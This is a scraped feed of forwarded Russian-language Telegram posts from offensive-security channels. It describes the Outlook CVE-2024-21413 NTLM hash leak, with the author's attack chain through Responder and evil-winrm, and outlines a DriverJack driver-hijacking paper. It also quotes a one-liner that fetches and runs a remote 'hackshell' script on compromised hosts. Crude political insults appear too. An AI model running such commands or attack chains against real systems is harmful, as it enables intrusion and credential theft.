Forwarded from ethernetghetto
#powershell сниппет для вывода
netstat -ano + джойн по PID для вывода имени процесса:Get-NetTCPConnection | ForEach-Object { New-Object PSObject -Property @{ LocalAddress = $_.LocalAddress; RemoteAddress = $_.RemoteAddress; State = $_.State; OwningProcessID = $_.OwningProcess; ProcessName = (Get-Process -Id $_.OwningProcess).ProcessName } } | Format-Table -AutoSizeForwarded from Укротитель змей
Microsoft Outlook RCE
Пост посвящается всем почтальонам, ведь теперь если вам повезет, то можно будет получить
Уязвимость затрагивает продукты такие как
CVE-2024-21413 - уязвимость в
То есть можно отправить письмо с вредоносной ссылкой, которая автоматически инициирует попытку подключения к удаленному ресурсу, что приводит к отправке
Теперь разберем, как это работает. У нас в PoC есть специальный скрипт
Скрипт подключается к указанному
Когда жертва получает письмо,
Одним из наиболее важных аспектов CVE-2024-21413 является её способность обходить проверку безопасности электронной почты, такие как SPF, DKIM, DMARC, Protected View
Ссылка формата
В моем случае с помощью
Прикрепил скрины с реализацией.
PoC
Пост посвящается всем почтальонам, ведь теперь если вам повезет, то можно будет получить
NTLM-хеши, просто отправив сообщение пользователю. Уязвимость затрагивает продукты такие как
Microsoft Office, включая приложения 365 Enterprise, Office 2016 и 2019, а также Office LTSC 2021CVE-2024-21413 - уязвимость в
Microsoft Outlook, которая позволяет выполнить RCE и добиться утечки NTLM-хэшей. Она связана с обработкой Outlook ссылок формата file:// То есть можно отправить письмо с вредоносной ссылкой, которая автоматически инициирует попытку подключения к удаленному ресурсу, что приводит к отправке
NTLM-хэша, НО важно иметь доступ к SMTP-серверу. Теперь разберем, как это работает. У нас в PoC есть специальный скрипт
CVE-2024-21413.py. После его запуска и указания всех флагов происходит следующая цепочка событий.Скрипт подключается к указанному
SMTP-серверу, используя переданные учетные данные, и создает письмо с вредоносной ссылкой. Эта ссылка, замаскированная под обычное сообщение, отправляется пользователю, используя указанные флаги. Тем самым письмо доставляется на почтовый сервер жертвы.Когда жертва получает письмо,
Outlook автоматически обрабатывает его содержимое. Джекпот состоит в том что Outlook, даже без активных действий со стороны пользователя, попытается загрузить ресурс, указанный в ссылке. Эта ссылка формата file:// с символом ! инициирует подключение к серверу по протоколу SMB. Outlook, не требуя дополнительных действий от пользователя, отправляет запрос на сервер с целью получения ресурса, при этом передавая NTLM-хэш для аутентификации.Одним из наиболее важных аспектов CVE-2024-21413 является её способность обходить проверку безопасности электронной почты, такие как SPF, DKIM, DMARC, Protected View
Ссылка формата
file://, используемая в этой уязвимости, может обойти эти защитный механизмы. Outlook автоматически пытается получить доступ к удаленному ресурсу, даже если документ открыт в защищенном режиме !!!В моем случае с помощью
web уязвимости, я вытащил пароль пользователя и далее зная его логин и пароль от outlook написал сообщение другому пользователю в домене, что позволило через Responder перехватить NTLM-хеш и далее подключиться через evil-winrm. Прикрепил скрины с реализацией.
PoC
Forwarded from D00Movenok
Разверни на работе виртуалки прост
Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными
Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)
Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом
Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили
Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))
Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными
Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)
Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом
Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили
Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))
Forwarded from Offensive Xwitter
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]
RELEASE:
This should be the 1st command you execute on a remote shell 🧨
Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).
LEAVES NO TRACE (memory only).
🔗 https://github.com/hackerschoice/hackshell
🐥 [ tweet ]
RELEASE:
This should be the 1st command you execute on a remote shell 🧨
source <(curl -SsfL https://thc.org/hs)
Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).
LEAVES NO TRACE (memory only).
🔗 https://github.com/hackerschoice/hackshell
🐥 [ tweet ]
Forwarded from ITTales :(){ :|:& };:
Хабр
FreeIPA tips & tricks: перенос FreeIPA из LXC-контейнера CentOS 7 в Rocky Linux, дебаг и истекшие сертификаты
Недавно мне довелось обновлять старую FreeIPA в большой компании. Эта FreeIPA была установлена в LXC-контейнере на CentOS 7 и находилась в нерабочем состоянии уже несколько месяцев. Мне передали бэкап...
Forwarded from commit -m "better"
https://www.datagubbe.se/crt/
Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.
Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.
Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).
Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.
Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.
Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).
www.dosbox-staging.org
DOSBox Staging
DOSBox Staging is a modern continuation of DOSBox with advanced features and current development practices.
Forwarded from Offensive Xwitter
😈 [ Logan Goins @shellph1sh ]
Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)
🔗 https://logan-goins.com/2024-07-23-ldap-relay/
🐥 [ tweet ]
Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)
🔗 https://logan-goins.com/2024-07-23-ldap-relay/
🐥 [ tweet ]
Forwarded from Sosach Waffen (ch3rf0l)
Яндекс наёбывает ебанашек которые хотят вступить в РДК* и Легион Свободы России*
Лябрушки в эмиграции потешно злятся🙂
*признаны в РФ петухами
Лябрушки в эмиграции потешно злятся
*признаны в РФ петухами
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Kekenavts Analytics 5G По ППС 🇺🇸🇷🇺🇮🇱🇰🇿🇨🇳🇰🇷🇺🇿🇹🇼
Сука Твиттер стало читать невозможно все сука осинтеры ебучие перешли на russian sources in telegram
Forwarded from Demorianesimo #MovimentoNOBloat (DEMOR #MovimentoNOBloat)
This media is not supported in your browser
VIEW IN TELEGRAM
From @root_hostname
Forwarded from 1N73LL1G3NC3
Whitepaper_DriverJack_Abusing_Emulated_Read_Only_Filesystems_and.pdf
3.8 MB
DriverJack: Turning NTFS and Emulated Read-only Filesystems in an Infection and Persistence Vector
By: Alessandro Magnosi (@klezVirus)
DriverJack
Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths
Key Attack Phases:
By: Alessandro Magnosi (@klezVirus)
DriverJack
Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths
Key Attack Phases:
1) ISO Mounting and Driver Selection
1.1) The attack begins with mounting the ISO as a filesystem.
1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
2) Hijacking the Driver Path
2.1) The core of the attack involves hijacking the driver path. The methods used include:
2.2) Direct Reparse Point Abuse
2.3) DosDevice Global Symlink Abuse
2.4) Drive Mountpoint Swap